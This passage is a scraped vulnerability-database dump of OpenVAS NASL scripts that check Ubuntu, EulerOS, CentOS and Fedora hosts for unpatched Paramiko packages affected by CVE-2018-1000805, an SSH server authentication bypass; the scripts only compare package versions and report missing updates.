value:\"package\");\n script_name(\"Ubuntu Update for paramiko USN-3796-1\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'paramiko'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"insight\", value:\"Daniel Hoffman discovered that Paramiko incorrectly handled authentication\nwhen being used as a server. A remote attacker could use this issue to\nbypass authentication without any credentials.\");\n script_tag(name:\"affected\", value:\"paramiko on Ubuntu 18.04 LTS,\n Ubuntu 16.04 LTS,\n Ubuntu 14.04 LTS\");\n script_tag(name:\"solution\", value:\"Please install the updated packages.\");\n\n script_xref(name:\"USN\", value:\"3796-1\");\n script_xref(name:\"URL\", value:\"http://www.ubuntu.com/usn/usn-3796-1/\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2018 Greenbone Networks GmbH\");\n script_family(\"Ubuntu Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/ubuntu_linux\", \"ssh/login/packages\", re:\"ssh/login/release=UBUNTU(14\\.04 LTS|18\\.04 LTS|16\\.04 LTS)\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nrelease = dpkg_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"UBUNTU14.04 LTS\")\n{\n\n if ((res = isdpkgvuln(pkg:\"python-paramiko\", ver:\"1.10.1-1git1ubuntu0.2\", rls:\"UBUNTU14.04 LTS\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n\n\nif(release == \"UBUNTU18.04 LTS\")\n{\n\n if ((res = isdpkgvuln(pkg:\"python-paramiko\", ver:\"2.0.0-1ubuntu1.1\", rls:\"UBUNTU18.04 LTS\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isdpkgvuln(pkg:\"python3-paramiko\", ver:\"2.0.0-1ubuntu1.1\", rls:\"UBUNTU18.04 LTS\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n\n\nif(release == \"UBUNTU16.04 LTS\")\n{\n\n if ((res = isdpkgvuln(pkg:\"python-paramiko\", ver:\"1.16.0-1ubuntu0.2\", rls:\"UBUNTU16.04 LTS\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isdpkgvuln(pkg:\"python3-paramiko\", ver:\"1.16.0-1ubuntu0.2\", rls:\"UBUNTU16.04 LTS\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2020-06-29T17:52:02", "bulletinFamily": "scanner", "cvelist": ["CVE-2018-1000805"], "description": "The remote host is missing an update for the Huawei EulerOS\n ", "modified": "2020-06-26T00:00:00", "published": "2020-06-26T00:00:00", "id": "OPENVAS:1361412562311220201703", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562311220201703", "type": "openvas", "title": "Huawei EulerOS: Security Advisory for python-paramiko (EulerOS-SA-2020-1703)", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Some text descriptions might be excerpted from (a) referenced\n# source(s), and are Copyright (C) by the respective right holder(s).\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.1.2.2020.1703\");\n script_version(\"2020-06-26T07:27:44+0000\");\n script_cve_id(\"CVE-2018-1000805\");\n script_tag(name:\"cvss_base\", value:\"6.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:S/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2020-06-26 07:27:44 +0000 (Fri, 26 Jun 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-06-26 07:27:44 +0000 (Fri, 26 Jun 2020)\");\n script_name(\"Huawei EulerOS: Security Advisory for python-paramiko (EulerOS-SA-2020-1703)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"Huawei EulerOS Local Security Checks\");\n script_dependencies(\"gb_huawei_euleros_consolidation.nasl\");\n script_mandatory_keys(\"ssh/login/euleros\", \"ssh/login/rpms\", re:\"ssh/login/release=EULEROSVIRTARM64-3\\.0\\.6\\.0\");\n\n script_xref(name:\"EulerOS-SA\", value:\"2020-1703\");\n script_xref(name:\"URL\", value:\"https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2020-1703\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the Huawei EulerOS\n 'python-paramiko' package(s) announced via the EulerOS-SA-2020-1703 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"Paramiko version 2.4.1, 2.3.2, 2.2.3, 2.1.5, 2.0.8, 1.18.5, 1.17.6 contains a Incorrect Access Control vulnerability in SSH server that can result in RCE. This attack appear to be exploitable via network connectivity.(CVE-2018-1000805)\");\n\n script_tag(name:\"affected\", value:\"'python-paramiko' package(s) on Huawei EulerOS Virtualization for ARM 64 3.0.6.0.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"EULEROSVIRTARM64-3.0.6.0\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"python2-paramiko\", rpm:\"python2-paramiko~2.4.1~5.h1.eulerosv2r8\", rls:\"EULEROSVIRTARM64-3.0.6.0\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2020-01-27T18:33:19", "bulletinFamily": "scanner", "cvelist": ["CVE-2018-1000805"], "description": "The remote host is missing an update for the Huawei EulerOS\n ", "modified": "2020-01-23T00:00:00", "published": "2020-01-23T00:00:00", "id": "OPENVAS:1361412562311220181443", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562311220181443", "type": "openvas", "title": "Huawei EulerOS: Security Advisory for python-paramiko (EulerOS-SA-2018-1443)", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.1.2.2018.1443\");\n script_version(\"2020-01-23T11:26:46+0000\");\n script_cve_id(\"CVE-2018-1000805\");\n script_tag(name:\"cvss_base\", value:\"6.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:S/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2020-01-23 11:26:46 +0000 (Thu, 23 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-01-23 11:26:46 +0000 (Thu, 23 Jan 2020)\");\n script_name(\"Huawei EulerOS: Security Advisory for python-paramiko (EulerOS-SA-2018-1443)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"Huawei EulerOS Local Security Checks\");\n script_dependencies(\"gb_huawei_euleros_consolidation.nasl\");\n script_mandatory_keys(\"ssh/login/euleros\", \"ssh/login/rpms\", re:\"ssh/login/release=EULEROS-2\\.0SP2\");\n\n script_xref(name:\"EulerOS-SA\", value:\"2018-1443\");\n script_xref(name:\"URL\", value:\"https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2018-1443\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the Huawei EulerOS\n 'python-paramiko' package(s) announced via the EulerOS-SA-2018-1443 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"python-paramiko: Authentication bypass in auth_handler.py (CVE-2018-1000805)\");\n\n script_tag(name:\"affected\", value:\"'python-paramiko' package(s) on Huawei EulerOS V2.0SP2.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"EULEROS-2.0SP2\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"python-paramiko\", rpm:\"python-paramiko~1.15.1~1.h1\", rls:\"EULEROS-2.0SP2\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2020-01-27T18:39:02", "bulletinFamily": "scanner", "cvelist": ["CVE-2018-1000805"], "description": "The remote host is missing an update for the Huawei EulerOS\n ", "modified": "2020-01-23T00:00:00", "published": "2020-01-23T00:00:00", "id": "OPENVAS:1361412562311220191404", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562311220191404", "type": "openvas", "title": "Huawei EulerOS: Security Advisory for python-paramiko (EulerOS-SA-2019-1404)", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.1.2.2019.1404\");\n script_version(\"2020-01-23T11:42:21+0000\");\n script_cve_id(\"CVE-2018-1000805\");\n script_tag(name:\"cvss_base\", value:\"6.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:S/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2020-01-23 11:42:21 +0000 (Thu, 23 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-01-23 11:42:21 +0000 (Thu, 23 Jan 2020)\");\n script_name(\"Huawei EulerOS: Security Advisory for python-paramiko (EulerOS-SA-2019-1404)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"Huawei EulerOS Local Security Checks\");\n script_dependencies(\"gb_huawei_euleros_consolidation.nasl\");\n script_mandatory_keys(\"ssh/login/euleros\", \"ssh/login/rpms\", re:\"ssh/login/release=EULEROSVIRTARM64-3\\.0\\.1\\.0\");\n\n script_xref(name:\"EulerOS-SA\", value:\"2019-1404\");\n script_xref(name:\"URL\", value:\"https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2019-1404\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the Huawei EulerOS\n 'python-paramiko' package(s) announced via the EulerOS-SA-2019-1404 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"Paramiko version 2.4.1, 2.3.2, 2.2.3, 2.1.5, 2.0.8, 1.18.5, 1.17.6 contains a Incorrect Access Control vulnerability in SSH server that can result in RCE. This attack appear to be exploitable via network connectivity.(CVE-2018-1000805)\");\n\n script_tag(name:\"affected\", value:\"'python-paramiko' package(s) on Huawei EulerOS Virtualization for ARM 64 3.0.1.0.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"EULEROSVIRTARM64-3.0.1.0\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"python-paramiko\", rpm:\"python-paramiko~2.1.1~4.h1\", rls:\"EULEROSVIRTARM64-3.0.1.0\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2019-05-29T18:33:27", "bulletinFamily": "scanner", "cvelist": ["CVE-2018-1000805"], "description": "The remote host is missing an update for the ", "modified": "2019-03-08T00:00:00", "published": "2018-11-09T00:00:00", "id": "OPENVAS:1361412562310882969", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310882969", "type": "openvas", "title": "CentOS Update for python-paramiko CESA-2018:3406 centos6", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_CESA-2018_3406_python-paramiko_centos6.nasl 14058 2019-03-08 13:25:52Z cfischer $\n#\n# CentOS Update for python-paramiko CESA-2018:3406 centos6\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2018 Greenbone Networks GmbH, http://www.greenbone.net\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.882969\");\n script_version(\"$Revision: 14058 $\");\n script_cve_id(\"CVE-2018-1000805\");\n script_tag(name:\"cvss_base\", value:\"6.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:S/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-08 14:25:52 +0100 (Fri, 08 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2018-11-09 06:05:02 +0100 (Fri, 09 Nov 2018)\");\n script_name(\"CentOS Update for python-paramiko CESA-2018:3406 centos6\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2018 Greenbone Networks GmbH\");\n script_family(\"CentOS Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/centos\", \"ssh/login/rpms\", re:\"ssh/login/release=CentOS6\");\n\n script_xref(name:\"CESA\", value:\"2018:3406\");\n script_xref(name:\"URL\", value:\"http://lists.centos.org/pipermail/centos-announce/2018-November/023076.html\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'python-paramiko'\n package(s) announced via the CESA-2018:3406 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"The python-paramiko package provides a Python module that implements the\nSSH2 protocol for encrypted and authenticated connections to remote\nmachines. Unlike SSL, the SSH2 protocol does not require hierarchical\ncertificates signed by a powerful central authority. The protocol also\nincludes the ability to open arbitrary channels to remote services across\nan encrypted tunnel.\n\nSecurity Fix(es):\n\n * python-paramiko: Authentication bypass in auth_handler.py\n(CVE-2018-1000805)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, and other related information, refer to the CVE page(s) listed in\nthe References section.\");\n\n script_tag(name:\"affected\", value:\"python-paramiko on CentOS 6.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release) exit(0);\n\nres = \"\";\n\nif(release == \"CentOS6\")\n{\n\n if ((res = isrpmvuln(pkg:\"python-paramiko\", rpm:\"python-paramiko~1.7.5~5.el6_10\", rls:\"CentOS6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2019-05-29T18:32:14", "bulletinFamily": "scanner", "cvelist": ["CVE-2018-1000805"], "description": "The remote host is missing an update for the ", "modified": "2019-05-14T00:00:00", "published": "2019-05-07T00:00:00", "id": "OPENVAS:1361412562310876278", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310876278", "type": "openvas", "title": "Fedora Update for python-paramiko FEDORA-2018-ea6b328afd", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.876278\");\n script_version(\"2019-05-14T05:04:40+0000\");\n script_cve_id(\"CVE-2018-1000805\");\n script_tag(name:\"cvss_base\", value:\"6.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:S/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2019-05-14 05:04:40 +0000 (Tue, 14 May 2019)\");\n script_tag(name:\"creation_date\", value:\"2019-05-07 02:42:24 +0000 (Tue, 07 May 2019)\");\n script_name(\"Fedora Update for python-paramiko FEDORA-2018-ea6b328afd\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC29\");\n\n script_xref(name:\"FEDORA\", value:\"2018-ea6b328afd\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7TUDPCO5JT7VLIJ4EKN7LIOQBX6D22XC\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'python-paramiko'\n package(s) announced via the FEDORA-2018-ea6b328afd advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"Paramiko (a combination of the Esperanto words for 'paranoid' and\n'friend') is\na module for python 2.3 or greater that implements the SSH2 protocol for secure\n(encrypted and authenticated) connections to remote machines. Unlike SSL (aka\nTLS), the SSH2 protocol does not require hierarchical certificates signed by a\npowerful central authority. You may know SSH2 as the protocol that replaced\ntelnet and rsh for secure access to remote shells, but the protocol also\nincludes the ability to open arbitrary channels to remote services across an\nencrypted tunnel (this is how sftp works, for example).\");\n\n script_tag(name:\"affected\", value:\"'python-paramiko' package(s) on Fedora 29.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"FC29\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"python-paramiko\", rpm:\"python-paramiko~2.4.2~1.fc29\", rls:\"FC29\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2019-05-29T18:33:20", "bulletinFamily": "scanner", "cvelist": ["CVE-2018-1000805"], "description": "The remote host is missing an update for the ", "modified": "2019-03-18T00:00:00", "published": "2018-10-26T00:00:00", "id": "OPENVAS:1361412562310843713", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310843713", "type": "openvas", "title": "Ubuntu Update for paramiko USN-3796-3", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_ubuntu_USN_3796_3.nasl 14288 2019-03-18 16:34:17Z cfischer $\n#\n# Ubuntu Update for paramiko USN-3796-3\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2018 Greenbone Networks GmbH, http://www.greenbone.net\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.843713\");\n script_version(\"$Revision: 14288 $\");\n script_cve_id(\"CVE-2018-1000805\");\n script_tag(name:\"cvss_base\", value:\"6.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:S/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-18 17:34:17 +0100 (Mon, 18 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2018-10-26 06:10:11 +0200 (Fri, 26 Oct 2018)\");\n script_name(\"Ubuntu Update for paramiko USN-3796-3\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2018 Greenbone Networks GmbH\");\n script_family(\"Ubuntu Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/ubuntu_linux\", \"ssh/login/packages\", re:\"ssh/login/release=UBUNTU18\\.10\");\n\n script_xref(name:\"USN\", value:\"3796-3\");\n script_xref(name:\"URL\", value:\"http://www.ubuntu.com/usn/usn-3796-3/\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'paramiko'\n package(s) announced via the USN-3796-3 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"USN-3796-1 fixed a vulnerability in Paramiko. This update provides the\ncorresponding update for Ubuntu 18.10.\n\nOriginal advisory details:\n\nDaniel Hoffman discovered that Paramiko incorrectly handled authentication\nwhen being used as a server. A remote attacker could use this issue to\nbypass authentication without any credentials.\");\n\n script_tag(name:\"affected\", value:\"paramiko on Ubuntu 18.10.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nrelease = dpkg_get_ssh_release();\nif(!release) exit(0);\n\nres = \"\";\n\nif(release == \"UBUNTU18.10\")\n{\n\n if ((res = isdpkgvuln(pkg:\"python-paramiko\", ver:\"2.4.1-0ubuntu3.1\", rls:\"UBUNTU18.10\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isdpkgvuln(pkg:\"python3-paramiko\", ver:\"2.4.1-0ubuntu3.1\", rls:\"UBUNTU18.10\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2019-05-29T18:33:27", "bulletinFamily": "scanner", "cvelist": ["CVE-2018-1000805"], "description": "The remote host is missing an update for the ", "modified": "2019-03-08T00:00:00", "published": "2018-12-18T00:00:00", "id": "OPENVAS:1361412562310882978", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310882978", "type": "openvas", "title": "CentOS Update for python-paramiko CESA-2018:3347 centos7", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id$\n#\n# CentOS Update for python-paramiko CESA-2018:3347 centos7\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2018 Greenbone Networks GmbH, http://www.greenbone.net\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.882978\");\n script_version(\"$Revision: 14058 $\");\n script_cve_id(\"CVE-2018-1000805\");\n script_tag(name:\"cvss_base\", value:\"6.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:S/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-08 14:25:52 +0100 (Fri, 08 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2018-12-18 07:37:43 +0100 (Tue, 18 Dec 2018)\");\n script_name(\"CentOS Update for python-paramiko CESA-2018:3347 centos7\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2018 Greenbone Networks GmbH\");\n script_family(\"CentOS Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/centos\", \"ssh/login/rpms\", re:\"ssh/login/release=CentOS7\");\n\n script_xref(name:\"CESA\", value:\"2018:3347\");\n script_xref(name:\"URL\", value:\"http://lists.centos.org/pipermail/centos-announce/2018-December/023119.html\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'python-paramiko'\n package(s) announced via the CESA-2018:3347 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"The python-paramiko package provides a Python module that implements the\nSSH2 protocol for encrypted and authenticated connections to remote\nmachines. Unlike SSL, the SSH2 protocol does not require hierarchical\ncertificates signed by a powerful central authority. The protocol also\nincludes the ability to open arbitrary channels to remote services across\nan encrypted tunnel.\n\nSecurity Fix(es):\n\n * python-paramiko: Authentication bypass in auth_handler.py\n(CVE-2018-1000805)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, and other related information, refer to the CVE page(s) listed in\nthe References section.\");\n\n script_tag(name:\"affected\", value:\"python-paramiko on CentOS 